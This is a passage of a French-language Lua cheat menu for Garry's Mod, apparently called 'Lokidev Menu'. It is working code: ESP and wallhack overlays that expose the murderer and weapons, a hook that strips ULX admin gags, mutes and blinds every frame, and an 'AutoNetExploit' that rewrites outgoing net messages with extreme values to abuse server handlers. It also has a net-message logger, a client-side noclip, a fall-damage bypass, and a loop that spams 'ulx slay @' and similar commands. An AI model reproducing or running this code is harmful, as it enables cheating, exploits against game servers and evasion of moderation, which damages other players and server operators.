  4719. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4720. if (v:Alive()) then
  4721. chat.AddText(col, v:Name(), " : ", v:GetNWString("bystanderName"))
  4722. else
  4723. chat.AddText(Color( 255, 30, 40 ), "*MORT* ", col, v:Name(), " : ", v:GetNWString("bystanderName"))
  4724. end
  4725. end
  4726. end
  4727. end
  4728. concommand.Add( "Murder_getNames", getNames)
  4729. hook.Add("CreateMove", "murder_checker", function()
  4730. if(GetConVarNumber("Murder_Auto") == 1) and GAMEMODE.RoundStage == 1 and round == false then
  4731. round = true
  4732. for _,v in pairs( ents.GetAll() ) do
  4733. local pl = v.Owner
  4734. if IsValid(pl) and !v.hatESPTracked then
  4735. if IsValid(v) and table.HasValue(twep, v:GetClass()) then
  4736. local col = pl:GetPlayerColor()
  4737. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4738. chat.AddText(col, pl:GetNWString("bystanderName"), Color(255, 255, 255), " est le ", Color(255, 0, 0), "MURDER")
  4739. end
  4740. if IsValid(v) and table.HasValue(tgun, v:GetClass()) then
  4741. local col = pl:GetPlayerColor()
  4742. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4743. chat.AddText(col, pl:GetNWString("bystanderName"), Color(255, 255, 255), " a le ", Color(0, 255, 0), "PISTOLET")
  4744. end
  4745. end
  4746. end
  4747. elseif GAMEMODE.RoundStage != 1 then
  4748. round = false
  4749. end
  4750. end)
  4751. hook.Add( "HUDPaint", "aimbot.Wallhack", function()
  4752. for k,v in pairs ( player.GetAll() ) do
  4753. local Position = ( v:GetPos() + Vector( 0,0,80 ) ):ToScreen()
  4754. local Name = ""
  4755. if v == ply then Name = "" else Name = v:Name() end
  4756. end
  4757. end )
  4758. local function coordinates( ent )
  4759. local min, max = ent:OBBMins(), ent:OBBMaxs()
  4760. local corners = {
  4761. Vector( min.x, min.y, min.z ),
  4762. Vector( min.x, min.y, max.z ),
  4763. Vector( min.x, max.y, min.z ),
  4764. Vector( min.x, max.y, max.z ),
  4765. Vector( max.x, min.y, min.z ),
  4766. Vector( max.x, min.y, max.z ),
  4767. Vector( max.x, max.y, min.z ),
  4768. Vector( max.x, max.y, max.z )
  4769. }
  4770. local minX, minY, maxX, maxY = ScrW() * 2, ScrH() * 2, 0, 0
  4771. for _, corner in pairs( corners ) do
  4772. local onScreen = ent:LocalToWorld( corner ):ToScreen()
  4773. minX, minY = math.min( minX, onScreen.x ), math.min( minY, onScreen.y )
  4774. maxX, maxY = math.max( maxX, onScreen.x ), math.max( maxY, onScreen.y )
  4775. end
  4776. return minX, minY, maxX, maxY
  4777. end
  4778. local function MESPCheck(v)
  4779. if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= ply && ply:Alive() then
  4780. return true
  4781. else
  4782. return false
  4783. end
  4784. end
  4785. hook.Add("HUDPaint", "ESPs", function()
  4786. if(GetConVarNumber("Murder_ESP") == 1) then
  4787. for k,v in pairs(player.GetHumans()) do
  4788. for k,v2 in pairs(v:GetWeapons()) do
  4789. if v2:GetClass() == "weapon_mu_knife" and MESPCheck(v) then
  4790. cam.Start3D(EyePos(), EyeAngles())
  4791. --v:SetMaterial("models/debug/debugwhite")
  4792. --v:SetColor(Color(255, 0, 0, 255))
  4793. --render.MaterialOverride("models/debug/debugwhite")
  4794. --render.SuppressEngineLighting( false )
  4795. --render.SetBlend( 0.3 )
  4796. --render.SetColorModulation( 1, 0, 0 )
  4797. --v:DrawModel()
  4798. cam.End3D()
  4799. elseif v2:GetClass() == "weapon_mu_magnum" and MESPCheck(v) then
  4800. cam.Start3D(EyePos(), EyeAngles())
  4801. --v:SetMaterial("models/debug/debugwhite")
  4802. --v:SetColor(Color(0, 0, 255, 255))
  4803. --render.MaterialOverride("models/debug/debugwhite")
  4804. --render.SuppressEngineLighting( false )
  4805. --render.SetBlend( 0.3 )
  4806. --render.SetColorModulation( 0, 0, 1 )
  4807. --v:DrawModel()
  4808. cam.End3D()
  4809. end
  4810. end
  4811. if(GetConVarNumber("Murder_Names") == 1) and MESPCheck(v) then
  4812. local ESP = (v:EyePos() + Vector( 0,0,85 ) ):ToScreen()
  4813. local col = v:GetPlayerColor()
  4814. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4815. local x1,y1,x2,y2 = coordinates(v)
  4816. surface.SetDrawColor(col)
  4817. draw.DrawText(v:GetNWString("bystanderName"), "ChatFont", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4818. end
  4819. end
  4820. end
  4821. if(GetConVarNumber("Murder_Evidence") == 1) then
  4822. for k, v in pairs(ents.FindByClass("mu_loot")) do
  4823. if IsValid(v) then
  4824. cam.Start3D(EyePos(), EyeAngles())
  4825. v:SetMaterial("models/debug/debugwhite")
  4826. v:SetColor(Color(0, 0, 1, 255))
  4827. render.MaterialOverride("models/debug/debugwhite")
  4828. render.SuppressEngineLighting( false )
  4829. render.SetBlend( 0.3 )
  4830. render.SetColorModulation( 0, 1, 0 )
  4831. v:DrawModel()
  4832. cam.End3D()
  4833. local ESP = (v:EyePos()):ToScreen()
  4834. local col = v:GetPlayerColor()
  4835. col = Color(0, 255, 0)
  4836. local x1,y1,x2,y2 = coordinates(v)
  4837. surface.SetDrawColor(col)
  4838. draw.DrawText("EQUIPEMENT", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4839. end
  4840. end
  4841. for k, v in pairs(ents.FindByClass("weapon_mu_knife")) do
  4842. if IsValid(v) then
  4843. cam.Start3D(EyePos(), EyeAngles())
  4844. v:SetMaterial("models/debug/debugwhite")
  4845. v:SetColor(Color(255, 0, 0, 255))
  4846. render.MaterialOverride("models/debug/debugwhite")
  4847. render.SuppressEngineLighting( false )
  4848. render.SetBlend( 0.3 )
  4849. render.SetColorModulation( 1, 0, 0 )
  4850. v:DrawModel()
  4851. cam.End3D()
  4852. local p = v:GetOwner()
  4853. local ESP = (v:EyePos()):ToScreen()
  4854. local col = v:GetPlayerColor()
  4855. col = Color(255, 0, 0)
  4856. local x1,y1,x2,y2 = coordinates(v)
  4857. if IsValid(p) then
  4858. else
  4859. surface.SetDrawColor(col)
  4860. end
  4861. draw.DrawText("COUTEAU", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4862. end
  4863. end
  4864. for k, v in pairs(ents.FindByClass("mu_knife")) do
  4865. if IsValid(v) then
  4866. cam.Start3D(EyePos(), EyeAngles())
  4867. v:SetMaterial("models/debug/debugwhite")
  4868. v:SetColor(Color(255, 0, 0, 255))
  4869. render.MaterialOverride("models/debug/debugwhite")
  4870. render.SuppressEngineLighting( false )
  4871. render.SetBlend( 0.3 )
  4872. render.SetColorModulation( 1, 0, 0 )
  4873. v:DrawModel()
  4874. cam.End3D()
  4875. local p = v:GetOwner()
  4876. local ESP = (v:EyePos()):ToScreen()
  4877. local col = v:GetPlayerColor()
  4878. col = Color(255, 0, 0)
  4879. local x1,y1,x2,y2 = coordinates(v)
  4880. if IsValid(p) then
  4881. else
  4882. surface.SetDrawColor(col)
  4883. end
  4884. draw.DrawText("COUTEAU", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4885. end
  4886. end
  4887. for k, v in pairs(ents.FindByClass("weapon_mu_magnum")) do
  4888. if IsValid(v) then
  4889. cam.Start3D(EyePos(), EyeAngles())
  4890. v:SetMaterial("models/debug/debugwhite")
  4891. v:SetColor(Color(0, 0, 255, 255))
  4892. render.MaterialOverride("models/debug/debugwhite")
  4893. render.SuppressEngineLighting( false )
  4894. render.SetBlend( 0.3 )
  4895. render.SetColorModulation( 0, 0, 1 )
  4896. v:DrawModel()
  4897. cam.End3D()
  4898. local p = v:GetOwner()
  4899. local ESP = (v:EyePos()):ToScreen()
  4900. local col = v:GetPlayerColor()
  4901. col = Color(0, 0, 255)
  4902. local x1,y1,x2,y2 = coordinates(v)
  4903. if IsValid(p) then
  4904. else
  4905. surface.SetDrawColor(col)
  4906. end
  4907. draw.DrawText("PISTOLET", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4908. end
  4909. end
  4910. for k, v in pairs(ents.FindByClass("mu_magnum")) do
  4911. if IsValid(v) then
  4912. cam.Start3D(EyePos(), EyeAngles())
  4913. v:SetMaterial("models/debug/debugwhite")
  4914. v:SetColor(Color(0, 0, 255, 255))
  4915. render.MaterialOverride("models/debug/debugwhite")
  4916. render.SuppressEngineLighting( false )
  4917. render.SetBlend( 0.3 )
  4918. render.SetColorModulation( 0, 0, 1 )
  4919. v:DrawModel()
  4920. cam.End3D()
  4921. local p = v:GetOwner()
  4922. local ESP = (v:EyePos()):ToScreen()
  4923. local col = v:GetPlayerColor()
  4924. col = Color(0, 0, 255)
  4925. local x1,y1,x2,y2 = coordinates(v)
  4926. if IsValid(p) then
  4927. else
  4928. surface.SetDrawColor(col)
  4929. end
  4930. draw.DrawText("PISTOLET", "s1", ESP.x, ESP.y, col, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  4931. end
  4932. end
  4933. end
  4934. end)
  4935. function ULXgotOwned()
  4936. if LocalPlayer():GetNWBool("EV_Blinded") then
  4937. LocalPlayer():SetNWBool("EV_Blinded", false)
  4938. end
  4939. hook.Remove( "HUDPaint", "ulx_blind" )
  4940. timer.Destroy("GagLocalPlayer")
  4941. hook.Remove("PlayerBindPress", "ULXGagForce")
  4942. if LocalPlayer():GetNWBool("ulx_gagged") then
  4943. LocalPlayer():SetNWBool("ulx_gagged", false)
  4944. end
  4945. hook.Remove( "PlayerCanHearPlayersVoice", "ULXGag" )
  4946. if( ulx && ulx.gagUser ) then
  4947. ulx.gagUser(LocalPlayer(),false)
  4948. end
  4949. if LocalPlayer():GetNWBool("Muted") then
  4950. LocalPlayer():SetNWBool("Muted", false)
  4951. end
  4952. if LocalPlayer():GetNWBool("ulx_muted") then
  4953. LocalPlayer():SetNWBool("ulx_muted", false)
  4954. end
  4955. end
  4956. hook.Add("Think", "ULXDansTonCUL", ULXgotOwned)
  4957. ZNX.WraithVision = false
  4958. function ZNX.ToggleWraithVision()
  4959. local mapmaterials = Entity( 0 ):GetMaterials()
  4960. for k, v in pairs( mapmaterials ) do
  4961. local m = Material( v )
  4962. if !ZNX.WraithVision then m:SetFloat( "$alpha", 0.75 ) else m:SetFloat( "$alpha", 1 ) end
  4963. end
  4964. ZNX.WraithVision = !ZNX.WraithVision
  4965. end
  4966. concommand.Add( "LokiDev_wraith_vision", ZNX.ToggleWraithVision )
  4967. if (not file.Exists("Lokidev_DarkRP/Logger/Netcodelogger.txt", "Data"))
  4968. then file.Write("Lokidev_DarkRP/Logger/Netcodelogger.txt", "")
  4969. end
  4970. if !lognetmsg then
  4971. lognetmsg = {}
  4972. lognetmsg.NetStart = net.Start
  4973. lognetmsg.NetWriteDouble = net.WriteDouble
  4974. lognetmsg.NetWriteFloat = net.WriteFloat
  4975. lognetmsg.NetWriteString = net.WriteString
  4976. lognetmsg.NetWriteInt = net.WriteInt
  4977. end
  4978. function net.Start(mercipourlesnetcode)
  4979. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.Start( "..mercipourlesnetcode.." ) \n")
  4980. return lognetmsg.NetStart(mercipourlesnetcode)
  4981. end
  4982. function net.WriteDouble(mercipourlesnetcode)
  4983. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteDouble( "..mercipourlesnetcode.." ) \n")
  4984. return lognetmsg.NetWriteDouble(mercipourlesnetcode)
  4985. end
  4986. function net.WriteFloat(mercipourlesnetcode)
  4987. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteFloat( "..mercipourlesnetcode.." ) \n")
  4988. return lognetmsg.NetWriteFloat(mercipourlesnetcode)
  4989. end
  4990. function net.WriteString(mercipourlesnetcode)
  4991. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteString( "..mercipourlesnetcode.." ) \n")
  4992. return lognetmsg.NetWriteString(mercipourlesnetcode)
  4993. end
  4994. function net.WriteInt(mercipourlesnetcode, chuckzjtm)
  4995. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteInt( "..mercipourlesnetcode..", "..chuckzjtm.." ) \n")
  4996. return lognetmsg.NetWriteInt(mercipourlesnetcode, chuckzjtm)
  4997. end
  4998. function AutoNetExploit ()
  4999. if !autonet then
  5000. autonet = " Positif"
  5001. statutautoexploit = "Positif"
  5002. function net.Start(mercipourlesnetcode)
  5003. print("net.Start( "..mercipourlesnetcode.." )")
  5004. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.Start( "..mercipourlesnetcode.." ) \n")
  5005. return lognetmsg.NetStart(mercipourlesnetcode)
  5006. end
  5007. function net.WriteDouble(mercipourlesnetcode)
  5008. print("net.WriteDouble( 1000000 )")
  5009. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteDouble( "..mercipourlesnetcode.." ) \n")
  5010. return lognetmsg.NetWriteDouble(1000000)
  5011. end
  5012. function net.WriteFloat(mercipourlesnetcode)
  5013. print("net.WriteFloat( 1000000 )")
  5014. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteFloat( "..mercipourlesnetcode.." ) \n")
  5015. return lognetmsg.NetWriteFloat(1000000)
  5016. end
  5017. function net.WriteString(mercipourlesnetcode)
  5018. print("net.WriteString( 1000000 )")
  5019. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteString( "..mercipourlesnetcode.." ) \n")
  5020. return lognetmsg.NetWriteString(1000000)
  5021. end
  5022. function net.WriteInt(mercipourlesnetcode, chuckzjtm)
  5023. print("net.WriteInt( 1000000, "..chuckzjtm.." )")
  5024. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteInt( "..mercipourlesnetcode..", "..chuckzjtm.." ) \n")
  5025. return lognetmsg.NetWriteInt(1000000, chuckzjtm)
  5026. end
  5027. elseif autonet==" Positif" then
  5028. autonet = " Negatif"
  5029. statutautoexploit = "N�gatif"
  5030. function net.Start(mercipourlesnetcode)
  5031. print("net.Start( "..mercipourlesnetcode.." )")
  5032. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.Start( "..mercipourlesnetcode.." ) \n")
  5033. return lognetmsg.NetStart(mercipourlesnetcode)
  5034. end
  5035. function net.WriteDouble(mercipourlesnetcode)
  5036. print("net.WriteDouble( -1000000 )")
  5037. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteDouble( "..mercipourlesnetcode.." ) \n")
  5038. return lognetmsg.NetWriteDouble(-1000000)
  5039. end
  5040. function net.WriteFloat(mercipourlesnetcode)
  5041. print("net.WriteFloat( -1000000 )")
  5042. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteFloat( "..mercipourlesnetcode.." ) \n")
  5043. return lognetmsg.NetWriteFloat(-1000000)
  5044. end
  5045. function net.WriteString(mercipourlesnetcode)
  5046. print("net.WriteString( -1000000 )")
  5047. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteString( "..mercipourlesnetcode.." ) \n")
  5048. return lognetmsg.NetWriteString(-1000000)
  5049. end
  5050. function net.WriteInt(mercipourlesnetcode, chuckzjtm)
  5051. print("net.WriteInt( -1000000, "..chuckzjtm.." )")
  5052. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteInt( "..mercipourlesnetcode..", "..chuckzjtm.." ) \n")
  5053. return lognetmsg.NetWriteInt(-1000000, chuckzjtm)
  5054. end
  5055. elseif autonet then
  5056. autonet = false
  5057. statutautoexploit = "D�sactiver"
  5058. function net.Start(mercipourlesnetcode)
  5059. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.Start( "..mercipourlesnetcode.." ) \n")
  5060. return lognetmsg.NetStart(mercipourlesnetcode)
  5061. end
  5062. function net.WriteDouble(mercipourlesnetcode)
  5063. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteDouble( "..mercipourlesnetcode.." ) \n")
  5064. return lognetmsg.NetWriteDouble(mercipourlesnetcode)
  5065. end
  5066. function net.WriteFloat(mercipourlesnetcode)
  5067. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteFloat( "..mercipourlesnetcode.." ) \n")
  5068. return lognetmsg.NetWriteFloat(mercipourlesnetcode)
  5069. end
  5070. function net.WriteString(mercipourlesnetcode)
  5071. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteString( "..mercipourlesnetcode.." ) \n")
  5072. return lognetmsg.NetWriteString(mercipourlesnetcode)
  5073. end
  5074. function net.WriteInt(mercipourlesnetcode, chuckzjtm)
  5075. file.Append("Lokidev_DarkRP/Logger/Netcodelogger.txt", "net.WriteInt( "..mercipourlesnetcode..", "..chuckzjtm.." ) \n")
  5076. return lognetmsg.NetWriteInt(mercipourlesnetcode, chuckzjtm)
  5077. end
  5078. end
  5079. end
  5080. ZNX.Enabled = false
  5081. ZNX.ViewOrigin = Vector( 0, 0, 0 )
  5082. ZNX.ViewAngle = Angle( 0, 0, 0 )
  5083. ZNX.Velocity = Vector( 0, 0, 0 )
  5084. function ZNX.CalcView( ply, origin, angles, fov )
  5085. if ( !ZNX.Enabled ) then return end
  5086. if ( ZNX.SetView ) then
  5087. ZNX.ViewOrigin = origin
  5088. ZNX.ViewAngle = angles
  5089. ZNX.SetView = false
  5090. end
  5091. return { origin = ZNX.ViewOrigin, angles = ZNX.ViewAngle }
  5092. end
  5093. hook.Add( "CalcView", "MonsterBot-Noclip", ZNX.CalcView )
  5094. function ZNX.CreateMove( cmd )
  5095. if ( !ZNX.Enabled ) then return end
  5096. // Add and reduce the old velocity.
  5097. local time = FrameTime()
  5098. ZNX.ViewOrigin = ZNX.ViewOrigin + ( ZNX.Velocity * time )
  5099. ZNX.Velocity = ZNX.Velocity * 0.93
  5100. // Rotate the view when the mouse is moved.
  5101. local sensitivity = 0.022
  5102. ZNX.ViewAngle.p = math.Clamp( ZNX.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 )
  5103. ZNX.ViewAngle.y = ZNX.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity )
  5104. // What direction were going to move in.
  5105. local add = Vector( 0, 0, 0 )
  5106. local ang = ZNX.ViewAngle
  5107. if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end
  5108. if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end
  5109. if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end
  5110. if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end
  5111. if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end
  5112. if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end
  5113. // Speed.
  5114. add = add:GetNormal() * time * 900
  5115. if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 15 end
  5116. ZNX.Velocity = ZNX.Velocity + add
  5117. // This stops us looking around crazily while spiritwalking.
  5118. if ( ZNX.LockView == true ) then
  5119. ZNX.LockView = cmd:GetViewAngles()
  5120. end
  5121. if ( ZNX.LockView ) then
  5122. cmd:SetViewAngles( ZNX.LockView )
  5123. end
  5124. // This stops us moving while spiritwalking.
  5125. cmd:SetForwardMove( 0 )
  5126. cmd:SetSideMove( 0 )
  5127. cmd:SetUpMove( 0 )
  5128. end
  5129. hook.Add( "CreateMove", "MonsterBotNoclip", ZNX.CreateMove )
  5130. function ZNX.Toggle()
  5131. ZNX.Enabled = !ZNX.Enabled
  5132. ZNX.LockView = ZNX.Enabled
  5133. ZNX.SetView = true
  5134. local status = { [ true ] = "ON", [ false ] = "OFF" }
  5135. ChatPrint("ClientSide NoClip " .. status[ ZNX.Enabled ] )
  5136. end
  5137. CreateClientConVar("LokiDev_stopfalldmg_prop", "models/props_trainstation/trainstation_post001.mdl")
  5138. local toggler = 0
  5139. local ang
  5140. local view = {}
  5141. local function falldamage()
  5142. hook.Add("CreateMove", "anti-falldmg", function(cmd)
  5143. ang = cmd:GetViewAngles()
  5144. if toggler == 0 then
  5145. oriang = ang
  5146. toggler = 1
  5147. hook.Add("CalcView", "FlyCam", function(ply, ori, ang, fov, nz, fz)
  5148. view.origin = ori
  5149. view.angles = Angle(30, ang.yaw,0)
  5150. view.fov = fov
  5151. return view
  5152. end)
  5153. end
  5154. cmd:SetViewAngles(Angle(90, ang.yaw, 0))
  5155. local trace = LocalPlayer():GetEyeTrace()
  5156. if trace.HitWorld then
  5157. if LocalPlayer():GetPos():Distance(trace.HitPos) < 25 then
  5158. hook.Remove("CreateMove", "anti-falldmg")
  5159. RunConsoleCommand("gm_spawn", GetConVarString("LokiDev_stopfalldmg_prop"))
  5160. view.angles = view.angles or Angle(30, ang.yaw, 0)
  5161. cmd:SetViewAngles(view.angles)
  5162. hook.Remove("CalcView", "FlyCam")
  5163. toggler = 0
  5164. timer.Simple(.1, function()
  5165. RunConsoleCommand("undo")
  5166. end)
  5167. end
  5168. end
  5169. end)
  5170. end
  5171. if ZNX.Vars.SafeJump then
  5172. local keyjum = ZNX.NumberVars.SafeJumpBindKey
  5173. if ( input.IsKeyDown( keyjum ) or input.IsMouseDown( keyjum ) ) then
  5174. falldamage()
  5175. return
  5176. end
  5177. end
  5178. concommand.Add("LokiDev_stopfalldmg", falldamage)
  5179. function ShowLokidevInfo ()
  5180. local InfoFrame = vgui.Create( "DFrame" )
  5181. InfoFrame:SetPos( 50, 50 )
  5182. InfoFrame:SetSize( ScrW()-100,ScrH()-100 )
  5183. InfoFrame:SetTitle( " " )
  5184. InfoFrame:SetVisible( true )
  5185. InfoFrame:SetDraggable( true )
  5186. InfoFrame:ShowCloseButton( false )
  5187. InfoFrame.Paint = function ()
  5188. DrawRoundedBox ( 0, 0, 0, InfoFrame:GetWide(), InfoFrame:GetTall(), Color(0,0,0,225) )
  5189. DrawOutlinedText ( "Lokidev Menu Version 1.7", "Infotab", InfoFrame:GetWide()/2, 35, red, 2, black )
  5190. DrawRoundedBoxEx ( 0, 0, 75, InfoFrame:GetWide(), 25, Color(150,0,0,125), true, true, true, true )
  5191. DrawLine ( 675, 100, 675, 600 )
  5192. DrawOutlinedText ( "Liste des Commandes", "Logo", InfoFrame:GetWide()/2-60, 87, red, 1, black )
  5193. DrawOutlinedText ( "Information", "Logo", InfoFrame:GetWide()/2+160, 87, red, 1, black )
  5194. DrawOutlinedText ( "LokiDevs_Menu", "Menu", InfoFrame:GetWide()/2-60, 110, red, 1, black )
  5195. DrawOutlinedText ( "LokiDev_who", "Menu", InfoFrame:GetWide()/2-60, 130, red, 1, black )
  5196. DrawOutlinedText ( "fgtnoafk", "Menu", InfoFrame:GetWide()/2-60, 150, red, 1, black )
  5197. DrawOutlinedText ( "LokiDev_ents", "Menu", InfoFrame:GetWide()/2-60, 170, red, 1, black )
  5198. DrawOutlinedText ( "LokiDev_players", "Menu", InfoFrame:GetWide()/2-60, 190, red, 1, black )
  5199. DrawOutlinedText ( "LokiDev_stopfalldmg", "Menu", InfoFrame:GetWide()/2-60, 210, red, 1, black )
  5200. DrawOutlinedText ( "LokiDev_pk_tubelaunch", "Menu", InfoFrame:GetWide()/2-60, 230, red, 1, black )
  5201. DrawOutlinedText ( "LokiDev_climbswep", "Menu", InfoFrame:GetWide()/2-60, 250, red, 1, black )
  5202. DrawOutlinedText ( "LokiDev_inspectweapon", "Menu", InfoFrame:GetWide()/2-60, 270, red, 1, black )
  5203. DrawOutlinedText ( "LokiDev_dumpnwstrings", "Menu", InfoFrame:GetWide()/2-60, 290, red, 1, black )
  5204. DrawOutlinedText ( "LokiDev_dumphooks", "Menu", InfoFrame:GetWide()/2-60, 310, red, 1, black )
  5205. DrawOutlinedText ( "LokiDev_dumpcommands", "Menu", InfoFrame:GetWide()/2-60, 330, red, 1, black )
  5206. DrawOutlinedText ( "LokiDev_random_rp_job", "Menu", InfoFrame:GetWide()/2-60, 350, red, 1, black )
  5207. DrawOutlinedText ( "", "Menu", InfoFrame:GetWide()/2-60, 370, red, 1, black )
  5208. DrawOutlinedText ( "", "Menu", InfoFrame:GetWide()/2-60, 390, red, 1, black )
  5209. DrawOutlinedText ( "", "Menu", InfoFrame:GetWide()/2-60, 410, red, 1, black )
  5210. DrawOutlinedText2 ( "Ouvrir le ModMenu", "Menu", InfoFrame:GetWide()/2+100, 110, red, 1, black )
  5211. DrawOutlinedText2 ( "Info sur les joueurs", "Menu", InfoFrame:GetWide()/2+100, 130, red, 1, black )
  5212. DrawOutlinedText2 ( "Anti Afk Script", "Menu", InfoFrame:GetWide()/2+100, 150, red, 1, black )
  5213. DrawOutlinedText2 ( "Ouvrir l'Entit� Menu", "Menu", InfoFrame:GetWide()/2+100, 170, red, 1, black )
  5214. DrawOutlinedText2 ( "Ouvrir le Menu des Joueurs", "Menu", InfoFrame:GetWide()/2+100, 190, red, 1, black )
  5215. DrawOutlinedText2 ( "Enleve les d�gats de chute (le mieux c'est de bind la commande !)", "Menu", InfoFrame:GetWide()/2+100, 210, red, 1, black )
  5216. DrawOutlinedText2 ( "Lancer un Tube (PropsKill ^^)", "Menu", InfoFrame:GetWide()/2+100, 230, red, 1, black )
  5217. DrawOutlinedText2 ( "Assistance pour le Climb Swep", "Menu", InfoFrame:GetWide()/2+100, 250, red, 1, black )
  5218. DrawOutlinedText2 ( "Information sur votre arme", "Menu", InfoFrame:GetWide()/2+100, 270, red, 1, black )
  5219. DrawOutlinedText2 ( "Affiche tous les net code du serveur dans la console", "Menu", InfoFrame:GetWide()/2+100, 290, red, 1, black )
  5220. DrawOutlinedText2 ( "Affiche tous les Hooks du serveur dans la console", "Menu", InfoFrame:GetWide()/2+100, 310, red, 1, black )
  5221. DrawOutlinedText2 ( "Affiche toutes les Commandes du serveur dans la console", "Menu", InfoFrame:GetWide()/2+100, 330, red, 1, black )
  5222. DrawOutlinedText2 ( "Vous mes un M�tiers aleatoire (darkrp/prisonrp seulement)", "Menu", InfoFrame:GetWide()/2+100, 350, red, 1, black )
  5223. DrawOutlinedText2 ( "", "Menu", InfoFrame:GetWide()/2+100, 370, red, 1, black )
  5224. DrawOutlinedText2 ( "", "Menu", InfoFrame:GetWide()/2+100, 390, red, 1, black )
  5225. DrawOutlinedText2 ( "", "Menu", InfoFrame:GetWide()/2+100, 410, red, 1, black )
  5226. InfoFrame:MakePopup()
  5227. end
  5228. CreateButton ( "X", InfoFrame, black, Color(0,0,0,225), true, InfoFrame:GetWide()-50, -30, 50, 50, "Close", function () InfoFrame:Close() end )
  5229. end
  5230. function Animation()
  5231. if !animating then
  5232. animating = "flex"
  5233. animatinginfo = "Flex"
  5234. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1616") end)
  5235. elseif animating=="flex" then
  5236. animating = "muscle"
  5237. animatinginfo = "Muscle"
  5238. timer.Destroy("animating")
  5239. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1617") end)
  5240. elseif animating=="muscle" then
  5241. animating = "reverence"
  5242. animatinginfo = "R�v�rence"
  5243. timer.Destroy("animating")
  5244. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1612") end)
  5245. elseif animating=="reverence" then
  5246. animating = "vient"
  5247. animatinginfo = "Vient"
  5248. timer.Destroy("animating")
  5249. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1611") end)
  5250. elseif animating=="vient" then
  5251. animating = "rire"
  5252. animatinginfo = "Rire"
  5253. timer.Destroy("animating")
  5254. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1618") end)
  5255. elseif animating=="rire" then
  5256. animating = "non"
  5257. animatinginfo = "Non"
  5258. timer.Destroy("animating")
  5259. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1613") end)
  5260. elseif animating=="non" then
  5261. animating = "victoire"
  5262. animatinginfo = "Victoire"
  5263. timer.Destroy("animating")
  5264. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1610") end)
  5265. elseif animating=="victoire" then
  5266. animating = "coucou"
  5267. animatinginfo = "Coucou"
  5268. timer.Destroy("animating")
  5269. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1615") end)
  5270. elseif animating=="coucou" then
  5271. animating = false
  5272. animatinginfo = "D�sactiver"
  5273. timer.Destroy("animating")
  5274. end
  5275. end
  5276. function ULXspam ()
  5277. if !ulxspam then
  5278. ulxspam = "Slay"
  5279. info_ulx_spam = "Slay"
  5280. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx slay @") end)
  5281. elseif ulxspam=="Slay" then
  5282. ulxspam = "Ignite"
  5283. info_ulx_spam = "Ignite"
  5284. timer.Destroy("ulxspam")
  5285. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx ignite @") end)
  5286. elseif ulxspam=="Ignite" then
  5287. ulxspam = "Maul"
  5288. info_ulx_spam = "Maul"
  5289. timer.Destroy("ulxspam")
  5290. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx maul @") end)
  5291. elseif ulxspam=="Maul" then
  5292. ulxspam = "Ragdoll"
  5293. info_ulx_spam = "Ragdoll"
  5294. timer.Destroy("ulxspam")
  5295. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx ragdoll @") end)
  5296. elseif ulxspam=="Ragdoll" then
  5297. ulxspam = "Whip"
  5298. info_ulx_spam = "Whip"
